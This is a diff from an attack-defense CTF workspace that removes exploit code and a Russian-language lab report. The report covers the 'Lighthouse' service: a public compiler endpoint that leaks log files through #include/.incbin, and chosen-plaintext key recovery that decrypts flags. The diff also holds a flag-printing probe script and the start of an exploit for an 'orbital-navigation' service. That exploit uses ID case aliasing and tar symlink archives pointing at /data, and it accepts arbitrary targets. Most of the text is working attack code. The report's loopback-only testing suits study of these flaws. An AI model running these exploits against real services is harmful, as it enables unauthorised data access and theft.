||||
groups, payload = [], bytearray()
|
||||
for _ in range(8):
|
||||
xor = rng.getrandbits(32)
|
||||
group = []
|
||||
for _ in range(6):
|
||||
left = rng.getrandbits(32)
|
||||
right = left ^ xor
|
||||
group.append((left, right))
|
||||
payload.extend(left.to_bytes(4, "big") + right.to_bytes(4, "big"))
|
||||
groups.append(group)
|
||||
topic = "probe" + os.urandom(4).hex()
|
||||
status, sent = client.api(f"/api/queues/{queue}/messages",
|
||||
{"message": base64.b64encode(payload).decode("ascii"),
|
||||
"topic": topic})
|
||||
if status != 201:
|
||||
raise Failure("chosen plaintext delivery rejected")
|
||||
cipher_length = sent.get("encrypted_length")
|
||||
if cipher_length != (len(payload) + 8) * 2:
|
||||
raise Failure("unexpected cipher length")
|
||||
line_length = 20 + 7 + 36 + 7 + len(topic) + 12 + cipher_length + 1
|
||||
probe_line = client.leak(journal, size_before, size_before + line_length)
|
||||
match = next((m for m in LINE.finditer(probe_line)
|
||||
if m.group(1) == topic.encode()), None)
|
||||
if not match:
|
||||
# Another writer may have appended between the size check and our message.
|
||||
size_after = client.file_size(journal)
|
||||
if size_after > size_before + 4096:
|
||||
raise Failure("chosen message moved beyond bounded race window")
|
||||
probe_line = client.leak(journal, size_before, size_after)
|
||||
match = next((m for m in LINE.finditer(probe_line)
|
||||
if m.group(1) == topic.encode()), None)
|
||||
if not match or len(match.group(2)) != cipher_length:
|
||||
raise Failure("chosen ciphertext missing from journal")
|
||||
cipher = match.group(2)
|
||||
pairs = []
|
||||
for group_index, group in enumerate(groups):
|
||||
solved_group = []
|
||||
for index, (left, right) in enumerate(group):
|
||||
value = int(cipher[(group_index * 6 + index) * 16:
|
||||
(group_index * 6 + index + 1) * 16], 16)
|
||||
solved_group.append((left, right, value >> 32, value & 0xffffffff))
|
||||
pairs.append(solved_group)
|
||||
solve_started = time.monotonic()
|
||||
keys = solve_effective(pairs)
|
||||
SOLVE_SECONDS = time.monotonic() - solve_started
|
||||
flag_regex = re.compile(os.getenv("LIGHTHOUSE_FLAG_REGEX",
|
||||
r"[A-Z0-9]{31}=").encode("ascii"))
|
||||
seen = set()
|
||||
step = 2048
|
||||
for end in range(size_before, max(-1, size_before - 8192), -step):
|
||||
start = max(0, end - step)
|
||||
data = client.leak(journal, start, end)
|
||||
for item in reversed(list(LINE.finditer(data))):
|
||||
plain = decrypt(item.group(2), keys)
|
||||
for found in flag_regex.findall(plain):
|
||||
if found not in seen:
|
||||
seen.add(found)
|
||||
print(found.decode("ascii"), flush=True)
|
||||
if seen or start == 0:
|
||||
break
|
||||
if not seen:
|
||||
print("no matching flag in bounded journal tail", file=sys.stderr)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
started = time.monotonic()
|
||||
try:
|
||||
main()
|
||||
except Failure as error:
|
||||
print(str(error), file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
finally:
|
||||
print(f"elapsed={time.monotonic() - started:.3f}s "
|
||||
f"http={HTTP_CALLS} compile={COMPILE_CALLS} "
|
||||
f"http_seconds={HTTP_SECONDS:.3f} solve_seconds={SOLVE_SECONDS:.3f}",
|
||||
file=sys.stderr)
|
||||
@@ -1 +0,0 @@
|
||||
z3-solver==5.3.1.0
|
||||
@@ -1,61 +0,0 @@
|
||||
# Lighthouse L-02/L-04/L-05 — локальное воспроизведение
|
||||
|
||||
## Обновление: подтверждена цепочка до синтетического флага
|
||||
|
||||
После исходной проверки `#include` другой исследователь подготовил PoC
|
||||
`../flag_hunt/probe.py`: публичный C-фильтр через `.incbin` выводит байты журнала
|
||||
в `listing`, публичная отправка сообщения даёт 48 выбранных 8-байтовых блоков
|
||||
открытого текста, а staged SMT-восстановление даёт **эквивалентные ключи блочного
|
||||
шифра**. Это не исходный `read_key`, но их достаточно для расшифрования
|
||||
шифртекста сообщений из журнала.
|
||||
|
||||
Я независимо проверил этот PoC на **новой собственной очереди** baseline в
|
||||
отдельном tmpfs-контейнере: заранее записал неизвестный PoC синтетический
|
||||
`GOCTF{...}` и дополнительное случайное 31-байтовое сообщение. В PoC передал
|
||||
только loopback URL и UUID, без `read_key`. PoC вывел ровно ожидаемый флаг;
|
||||
восстановленные ключи побайтно расшифровали и дополнительное сообщение.
|
||||
Получилось 28 HTTP-запросов (1 GET, 27 POST) за 2,074 с на локальном Docker.
|
||||
Затем я повторил финальный PoC на двух других свежих синтетических очередях с
|
||||
официальным форматом `[A-Z0-9]{31}=` без переопределения regex. В обоих случаях
|
||||
он вывел ровно заранее неизвестный ему флаг и побайтно расшифровал отдельное
|
||||
случайное 31-байтовое сообщение. Во втором измеренном прогоне: 28 HTTP-запросов,
|
||||
25 компиляций, 1,263 с всего (0,998 с HTTP, 0,257 с solver). Это локальные
|
||||
времена на loopback, не оценка игровой сети или загруженного контейнера.
|
||||
На первой версии PoC обнаружился ложный критерий EOF: `.incbin` возвращал HTTP
|
||||
200 и за концом файла. Исследователь заменил его проверкой длины байтов между
|
||||
двумя маркерами; повторный независимый прогон прошёл. Ложный ключ на этом
|
||||
наборе не обнаружен, но одна очередь не даёт статистической гарантии. Этот
|
||||
результат требует **пересмотра приоритета сочетания L-04 и L-05** и проверки
|
||||
кандидата патча против полного PoC.
|
||||
|
||||
Источник: побайтная копия `services/lighthouse-baseline-4f70df55/lighthouse/` от Git SHA `4f70df55dd822880f4759d553f7ed249166cad86`. Исследование выполнено 25.10.2026 на отдельном Docker-образе `goctf-lighthouse-baseline:4f70df55`, в контейнере с тремя временными `tmpfs` и публикацией **только** на `127.0.0.1:18185`. Данные полностью синтетические; игровая сеть, vulnbox, секреты и флаги не использовались.
|
||||
|
||||
## Статус
|
||||
|
||||
| Гипотеза | Статус | Точное наблюдение | Путь к флагу |
|
||||
| --- | --- | --- | --- |
|
||||
| L-02: публичная загрузка фильтра портит чужую историю | **Локально подтверждено** | 17 запросов без `X-Queue-Key` с некорректным C вернули `422`, но создали ревизии. Ранее созданная неактивная ревизия владельца после этого давала `404` даже с его ключом. Активная ревизия оставалась доступной (`200`). | Не обнаружен. Это порча истории и ограниченный отказ обслуживания, а не чтение сообщений. |
|
||||
| L-04: журнал читается через диагностику и `listing` Clang | **Локально подтверждено** | `#include` дал строку журнала в `compiler`; `.incbin` дал заданные байты журнала в `listing`. Оба публичных `POST /filter` не требовали ключа. | В сочетании с L-05 и выбранным открытым текстом **локально подтверждена** расшифровка ранее неизвестного синтетического флага. |
|
||||
| L-05: шифр допускает восстановление эквивалентных ключей | **Локально подтверждено в цепочке L-04+L-05** | 48 выбранных блоков в одном публичном сообщении, шифртекст из журнала, staged SMT; проверка на неизвестном флаге и дополнительном случайном сообщении успешна. | Да, для сообщений той же очереди, если её журнал доступен. Исходный `read_key` не восстановлен. |
|
||||
| SQLite через унаследованный FD Clang | **Проверена и не подтверждена** на этом стенде | У процесса сервера FD 3–5 указывают на SQLite DB/WAL/SHM; у пойманного процесса Clang они отсутствовали. `#include /data/lighthouse.db` и `/proc/1/fd/3` дали отказ в доступе, `/proc/self/fd/3` — отсутствие файла. Пробы FD 3–20 не выдали синтетический ключ. У Clang также был FD 8 сокета, но его `#include` дал `ENXIO`. | Ключ через этот путь не получен. Это не доказательство отсутствия других путей. |
|
||||
|
||||
## Условия и воспроизведение
|
||||
|
||||
- L-02 требует UUID очереди, известного из публичного API или допустимых игровых подсказок. Ключ не нужен для `POST /filter`; 16 последних неактивных ревизий сохраняются. Атака не удаляет текущую активную ревизию, но вытесняет старые неактивные записи и создаёт нагрузку на компилятор/диск. Наш тест ограничен 17 запросами на собственной тестовой очереди.
|
||||
- L-04 требует UUID и дату создания очереди для пути `/var/log/lighthouse/YYYY-MM-DD/<uuid>.log`; публичный `GET /api/queues/<uuid>` раскрывает `created_at`. Нужна хотя бы одна запись в журнале и исходные права 0755/0644. Публичный `POST /filter` создаёт новую ревизию на своей compiler-очереди. Если правки закрыли журнал или изменили `listing`, цепочка прервётся. Большой журнал увеличивает число HTTP-запросов; текущий PoC просматривает только ограниченный хвост, поэтому может пропустить старый флаг.
|
||||
- Для цепочки L-04+L-05 необходима публичная отправка выбранного сообщения в целевую очередь и возможность прочитать её новый ciphertext из журнала. Эквивалентные ключи не являются `read_key`, поэтому они не дают доступа к `GET /messages` или активации фильтров. Локально подтверждённый флаговый PoC находится в `../flag_hunt/probe.py`; его поведение на игровом маршруте, при нагрузке, в официальном checker и против патча не проверено.
|
||||
|
||||
Одноразовый репродуктор допускает только loopback и сам создаёт синтетические очереди:
|
||||
|
||||
```sh
|
||||
python3 reproduce.py http://127.0.0.1:18185 --mode both --timeout 4
|
||||
```
|
||||
|
||||
Для проверки отдельно используйте `--mode journal` или `--mode history`. Этот ограниченный диагностический скрипт не принимает произвольный UUID жертвы и не печатает ключи, шифртекст или сообщение. Его **stdout пуст**; краткий результат идёт в stderr. Флаговый PoC — отдельный `../flag_hunt/probe.py`. На baseline обе диагностические проверки прошли; `python3 -m py_compile reproduce.py` прошёл.
|
||||
|
||||
## Точки кода
|
||||
|
||||
- L-02: `server/main.cpp:139-185`, особенно проверка только `require_queue` в строке 148, добавление ревизии в 156–163 и удаление в 164–184. Активация в 229–240 отдельно требует ключ.
|
||||
- L-04: `server/main.cpp:57-64,139-150,186-189`, `server/chronicle.hpp:16-24`, `server/compiler.hpp:82-115`. Компилятор работает от `nobody` и выводит диагностику включённого файла. Прямая SQLite находится под `/data` с правом 0700.
|
||||
|
||||
Эти результаты относятся к исходной ревизии. Незакоммиченный кандидат в `repos/go-ctf-services/lighthouse/` во время проверки изменялся другим агентом и здесь не тестировался.
|
||||
@@ -1,171 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bounded Lighthouse L-02/L-04 reproducer for a disposable loopback lab.
|
||||
|
||||
The program creates its own synthetic queue and sends at most 21 filter builds.
|
||||
It never prints queue keys, ciphertext, or synthetic payloads. Stdout is kept
|
||||
empty because neither issue has been shown to recover a scoring flag.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import json
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
|
||||
class ProbeError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
OPENER = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
|
||||
|
||||
def api(base: str, timeout: float, method: str, path: str, body=None, key=None):
|
||||
headers = {"Accept": "application/json"}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode("utf-8")
|
||||
headers["Content-Type"] = "application/json"
|
||||
if key is not None:
|
||||
headers["X-Queue-Key"] = key
|
||||
request = urllib.request.Request(
|
||||
base + path, data=data, headers=headers, method=method
|
||||
)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=timeout)
|
||||
except urllib.error.HTTPError as error:
|
||||
response = error
|
||||
except urllib.error.URLError as error:
|
||||
raise ProbeError(f"network error: {error.reason}") from error
|
||||
try:
|
||||
payload = json.loads(response.read(65536))
|
||||
except (ValueError, UnicodeError) as error:
|
||||
raise ProbeError(f"HTTP {response.status}: invalid JSON") from error
|
||||
if not isinstance(payload, dict):
|
||||
raise ProbeError(f"HTTP {response.status}: expected JSON object")
|
||||
return response.status, payload
|
||||
|
||||
|
||||
def new_queue(base: str, timeout: float):
|
||||
status, queue = api(base, timeout, "POST", "/api/queues", {"label": "synthetic_lab"})
|
||||
if status != 201 or not all(k in queue for k in ("id", "read_key", "created_at")):
|
||||
raise ProbeError(f"create queue failed: HTTP {status}")
|
||||
return queue
|
||||
|
||||
|
||||
def journal(base: str, timeout: float):
|
||||
queue = new_queue(base, timeout)
|
||||
queue_id = queue["id"]
|
||||
message = base64.b64encode(b"SYNTHETIC-SECRET-NO-FLAG").decode("ascii")
|
||||
status, _ = api(
|
||||
base, timeout, "POST", f"/api/queues/{queue_id}/messages",
|
||||
{"message": message, "topic": "synthetic_topic"},
|
||||
)
|
||||
if status != 201:
|
||||
raise ProbeError(f"synthetic message failed: HTTP {status}")
|
||||
day = queue["created_at"][:10]
|
||||
source = (
|
||||
f'#include "/var/log/lighthouse/{day}/{queue_id}.log"\n'
|
||||
"int filter(int encrypted_length) { return 1; }"
|
||||
)
|
||||
status, result = api(
|
||||
base, timeout, "POST", f"/api/queues/{queue_id}/filter",
|
||||
{"source": source, "label": "synthetic_probe"},
|
||||
)
|
||||
diagnostic = result.get("compiler", "")
|
||||
if not isinstance(diagnostic, str):
|
||||
raise ProbeError("compiler field is not text")
|
||||
exposed = "topic=synthetic_topic ciphertext=" in diagnostic
|
||||
plaintext = "SYNTHETIC-SECRET-NO-FLAG" in diagnostic
|
||||
print(
|
||||
f"L-04: HTTP {status}; journal metadata/ciphertext exposed={exposed}; "
|
||||
f"plaintext exposed={plaintext}; inserted revision={result.get('revision')}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
if not exposed:
|
||||
raise ProbeError("L-04 was not reproduced on this target")
|
||||
|
||||
|
||||
def history(base: str, timeout: float):
|
||||
queue = new_queue(base, timeout)
|
||||
queue_id, key = queue["id"], queue["read_key"]
|
||||
path = f"/api/queues/{queue_id}/filter"
|
||||
status, active = api(
|
||||
base, timeout, "POST", path,
|
||||
{"source": "int filter(int n) { return 1; }", "label": "owner_active"},
|
||||
)
|
||||
if status != 200:
|
||||
raise ProbeError(f"owner active revision failed: HTTP {status}")
|
||||
status, old = api(
|
||||
base, timeout, "POST", path,
|
||||
{"source": "int filter(int n) { return n != 7; }", "label": "owner_old"},
|
||||
)
|
||||
if status != 200:
|
||||
raise ProbeError(f"owner old revision failed: HTTP {status}")
|
||||
status, _ = api(
|
||||
base, timeout, "POST",
|
||||
f"/api/queues/{queue_id}/filters/{active['revision']}/activate", {}, key=key,
|
||||
)
|
||||
if status != 200:
|
||||
raise ProbeError(f"activate failed: HTTP {status}")
|
||||
# Each unauthenticated rejected build creates a revision. The server keeps
|
||||
# the newest 16 inactive revisions, so 17 requests remove the old owner one.
|
||||
statuses = []
|
||||
for _ in range(17):
|
||||
status, _ = api(
|
||||
base, timeout, "POST", path,
|
||||
{"source": "int filter(", "label": "synthetic_unauthorized"},
|
||||
)
|
||||
statuses.append(status)
|
||||
old_status, _ = api(
|
||||
base, timeout, "GET",
|
||||
f"/api/queues/{queue_id}/filters/{old['revision']}", key=key,
|
||||
)
|
||||
active_status, _ = api(
|
||||
base, timeout, "GET",
|
||||
f"/api/queues/{queue_id}/filters/{active['revision']}", key=key,
|
||||
)
|
||||
exposed = all(status == 422 for status in statuses) and old_status == 404
|
||||
print(
|
||||
f"L-02: anonymous rejected builds={len(statuses)}; "
|
||||
f"owner inactive revision HTTP {old_status}; "
|
||||
f"owner active revision HTTP {active_status}; history deletion={exposed}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
if not exposed or active_status != 200:
|
||||
raise ProbeError("L-02 was not reproduced as expected")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("base_url", help="disposable local Lighthouse URL")
|
||||
parser.add_argument("--mode", choices=("journal", "history", "both"), default="both")
|
||||
parser.add_argument("--timeout", type=float, default=4.0)
|
||||
args = parser.parse_args()
|
||||
parsed = urllib.parse.urlsplit(args.base_url)
|
||||
if parsed.scheme != "http" or parsed.hostname not in ("127.0.0.1", "localhost", "::1"):
|
||||
parser.error("this synthetic reproducer only accepts a loopback HTTP target")
|
||||
if parsed.username is not None or parsed.password is not None:
|
||||
parser.error("base_url must not contain username or password")
|
||||
if parsed.path not in ("", "/") or parsed.query or parsed.fragment:
|
||||
parser.error("base_url must not contain a path, query, or fragment")
|
||||
if not 0.1 <= args.timeout <= 10:
|
||||
parser.error("timeout must be between 0.1 and 10 seconds")
|
||||
base = args.base_url.rstrip("/")
|
||||
try:
|
||||
if args.mode in ("journal", "both"):
|
||||
journal(base, args.timeout)
|
||||
if args.mode in ("history", "both"):
|
||||
history(base, args.timeout)
|
||||
except ProbeError as error:
|
||||
print(f"probe failed: {error}", file=sys.stderr)
|
||||
return 1
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,761 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import time
|
||||
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8086
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
MAX_RESPONSE = 8 * 1024 * 1024
|
||||
MAX_STATE_RESPONSE = 64 * 1024 * 1024
|
||||
MAX_OBJECTS = 6
|
||||
MAX_STATE_FLIGHTS = 512
|
||||
TOTAL_RUNTIME = 7.0
|
||||
IMPORTER_KEY = "orbit-importer-service-key"
|
||||
ID_PATTERN = re.compile(
|
||||
r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE
|
||||
)
|
||||
CONTEXT_PATTERNS = {
|
||||
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
|
||||
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
|
||||
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
|
||||
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
|
||||
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
||||
}
|
||||
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z][A-Z0-9]{30}=(?![A-Z0-9])")
|
||||
STATE_DUMP_MARKER = "orbital-state-dump"
|
||||
SEEN_CACHE_VERSION = 1
|
||||
SEEN_WARMUP_PASSES = 0
|
||||
|
||||
|
||||
class ExploitError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def parse_target(target: str) -> tuple[str, str]:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
address, separator, encoded_hint = raw.partition("#")
|
||||
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||
if not address:
|
||||
raise ValueError("empty target address")
|
||||
explicit_scheme = "://" in address
|
||||
if not explicit_scheme:
|
||||
authority = f"[{address}]" if address.count(":") > 1 and not address.startswith("[") else address
|
||||
address = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(address)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target address must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||
|
||||
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
method: str = "GET",
|
||||
body: bytes | None = None,
|
||||
headers=None,
|
||||
max_response: int = MAX_RESPONSE,
|
||||
) -> tuple[int, bytes]:
|
||||
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
|
||||
if headers:
|
||||
request_headers.update(headers)
|
||||
req = Request(base + path, data=body, headers=request_headers, method=method)
|
||||
try:
|
||||
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
data = response.read(max_response + 1)
|
||||
if len(data) > max_response:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(max_response)
|
||||
|
||||
|
||||
def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields):
|
||||
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||
status, raw = request(
|
||||
base,
|
||||
"/rpc",
|
||||
method="POST",
|
||||
body=payload,
|
||||
headers={"Content-Type": "application/json"},
|
||||
max_response=_response_limit,
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError(f"{action}: invalid response") from exc
|
||||
if status != 200 or not document.get("ok"):
|
||||
raise ExploitError(f"{action}: {document.get('error', f'HTTP {status}')}")
|
||||
return document.get("result")
|
||||
|
||||
|
||||
def register(base: str) -> str:
|
||||
result = rpc(base, "register")
|
||||
token = result.get("token") if isinstance(result, dict) else None
|
||||
if not isinstance(token, str):
|
||||
raise ExploitError("register: missing token")
|
||||
return token
|
||||
|
||||
|
||||
def source_aliases(ship_id: str):
|
||||
yielded = set()
|
||||
candidates = [ship_id.upper(), ship_id.swapcase()]
|
||||
letters = [index for index, value in enumerate(ship_id) if value.isalpha()]
|
||||
seed = hashlib.sha256(ship_id.encode()).digest()
|
||||
for attempt in range(16):
|
||||
chars = list(ship_id)
|
||||
for offset, index in enumerate(letters):
|
||||
if seed[(attempt + offset) % len(seed)] & (1 << (attempt % 8)):
|
||||
chars[index] = chars[index].upper()
|
||||
candidates.append("".join(chars))
|
||||
for candidate in candidates:
|
||||
if candidate != ship_id and candidate not in yielded:
|
||||
yielded.add(candidate)
|
||||
yield candidate
|
||||
|
||||
|
||||
def exploit_ship(base: str, ship_id: str) -> list[str]:
|
||||
token = register(base)
|
||||
for source_id in source_aliases(ship_id):
|
||||
try:
|
||||
rpc(base, "bind_source", token=token, source_id=source_id)
|
||||
result = rpc(base, "read_source_messages", token=token, source_id=source_id)
|
||||
messages = result.get("messages", []) if isinstance(result, dict) else []
|
||||
return [item for item in messages if isinstance(item, str)]
|
||||
except ExploitError:
|
||||
continue
|
||||
own_ship = rpc(base, "create_ship", token=token)["ship_id"]
|
||||
profile = rpc(base, "create_profile", token=token, ship_id=own_ship)["profile_id"]
|
||||
job = rpc(base, "create_export", token=token, profile_id=profile)["job_id"]
|
||||
rpc(base, "edit_profile", token=token, profile_id=profile, ship_id=ship_id)
|
||||
result = rpc(base, "run_export", token=token, job_id=job)
|
||||
messages = result.get("messages", []) if isinstance(result, dict) else []
|
||||
return [item for item in messages if isinstance(item, str)]
|
||||
|
||||
|
||||
def regular_tar(name: str, content: bytes) -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
entry = tarfile.TarInfo(name)
|
||||
entry.size = len(content)
|
||||
archive.addfile(entry, io.BytesIO(content))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def symlink_tar(name: str, target: str) -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
entry = tarfile.TarInfo(name)
|
||||
entry.type = tarfile.SYMTYPE
|
||||
entry.linkname = target
|
||||
archive.addfile(entry)
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def state_dump_tar(flight_id: str) -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
escape = tarfile.TarInfo("escape")
|
||||
escape.type = tarfile.SYMTYPE
|
||||
escape.linkname = "/data"
|
||||
archive.addfile(escape)
|
||||
state_link = tarfile.TarInfo("escape/state.json.tmp")
|
||||
state_link.type = tarfile.SYMTYPE
|
||||
state_link.linkname = f"/data/navigation/{flight_id}.txt"
|
||||
archive.addfile(state_link)
|
||||
report = b"ok"
|
||||
entry = tarfile.TarInfo("report.txt")
|
||||
entry.size = len(report)
|
||||
archive.addfile(entry, io.BytesIO(report))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def context_path(base: str) -> Path:
|
||||
configured = os.environ.get("ORBITAL_STATE_DIR")
|
||||
root = (
|
||||
Path(configured)
|
||||
if configured
|
||||
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
|
||||
)
|
||||
if os.name == "nt":
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
else:
|
||||
root.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
root.chmod(0o700)
|
||||
name = hashlib.sha256(base.encode()).hexdigest() + ".json"
|
||||
return root / name
|
||||
|
||||
|
||||
def seen_path(base: str) -> Path:
|
||||
return context_path(base).with_suffix(".flags.json")
|
||||
|
||||
|
||||
def load_seen_flags(base: str) -> tuple[int, set[str]] | None:
|
||||
path = seen_path(base)
|
||||
try:
|
||||
info = path.lstat()
|
||||
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
|
||||
return None
|
||||
document = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (FileNotFoundError, OSError, ValueError):
|
||||
return None
|
||||
if not isinstance(document, dict) or document.get("version") != SEEN_CACHE_VERSION:
|
||||
return None
|
||||
passes = document.get("passes")
|
||||
flags = document.get("flags")
|
||||
if not isinstance(passes, int) or passes < 0 or not isinstance(flags, list):
|
||||
return None
|
||||
values = {
|
||||
item
|
||||
for item in flags
|
||||
if isinstance(item, str) and FLAG_PATTERN.fullmatch(item)
|
||||
}
|
||||
return passes, values
|
||||
|
||||
|
||||
def save_seen_flags(base: str, passes: int, flags: set[str]) -> None:
|
||||
path = seen_path(base)
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(
|
||||
{
|
||||
"version": SEEN_CACHE_VERSION,
|
||||
"passes": passes,
|
||||
"flags": sorted(flags),
|
||||
},
|
||||
handle,
|
||||
separators=(",", ":"),
|
||||
)
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def fresh_flags(base: str, loot: list[str]) -> tuple[list[str], int, int]:
|
||||
current = {
|
||||
match.group(0)
|
||||
for item in loot
|
||||
for match in FLAG_PATTERN.finditer(item)
|
||||
}
|
||||
cached = load_seen_flags(base)
|
||||
if cached is None:
|
||||
passes = 1
|
||||
seen: set[str] = set()
|
||||
else:
|
||||
previous_passes, seen = cached
|
||||
passes = previous_passes + 1
|
||||
new = sorted(current - seen) if passes > SEEN_WARMUP_PASSES else []
|
||||
save_seen_flags(base, passes, seen | current)
|
||||
return new, len(current), passes
|
||||
|
||||
|
||||
def valid_context(document, base: str) -> bool:
|
||||
return (
|
||||
isinstance(document, dict)
|
||||
and document.get("base") == base
|
||||
and all(
|
||||
isinstance(document.get(key), str) and pattern.fullmatch(document[key])
|
||||
for key, pattern in CONTEXT_PATTERNS.items()
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def load_context(base: str):
|
||||
try:
|
||||
document = json.loads(context_path(base).read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError):
|
||||
return None
|
||||
return document if valid_context(document, base) else None
|
||||
|
||||
|
||||
def save_context(base: str, context) -> None:
|
||||
path = context_path(base)
|
||||
document = {"base": base, **context}
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(document, handle, separators=(",", ":"))
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def discard_context(base: str) -> None:
|
||||
try:
|
||||
context_path(base).unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def create_host_context(base: str):
|
||||
token = register(base)
|
||||
ship_id = rpc(base, "create_ship", token=token)["ship_id"]
|
||||
profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"]
|
||||
flight_id = rpc(
|
||||
base,
|
||||
"create_flight",
|
||||
token=token,
|
||||
geometry=STATE_DUMP_MARKER,
|
||||
map_version=STATE_DUMP_MARKER,
|
||||
options=STATE_DUMP_MARKER,
|
||||
manifest=STATE_DUMP_MARKER,
|
||||
navigation=STATE_DUMP_MARKER,
|
||||
)["flight_id"]
|
||||
package_id = rpc(base, "create_package", token=token)["package_id"]
|
||||
context = {
|
||||
"token": token,
|
||||
"ship_id": ship_id,
|
||||
"profile_id": profile_id,
|
||||
"flight_id": flight_id,
|
||||
"package_id": package_id,
|
||||
}
|
||||
try:
|
||||
save_context(base, context)
|
||||
except OSError as exc:
|
||||
print(f"state cache unavailable: {exc}", file=sys.stderr)
|
||||
return context
|
||||
|
||||
|
||||
def trigger_persist(base: str, context) -> None:
|
||||
rpc(
|
||||
base,
|
||||
"edit_profile",
|
||||
token=context["token"],
|
||||
profile_id=context["profile_id"],
|
||||
ship_id=context["ship_id"],
|
||||
)
|
||||
|
||||
|
||||
def dump_state(base: str, context) -> str:
|
||||
upload_package(
|
||||
base,
|
||||
context["package_id"],
|
||||
context["token"],
|
||||
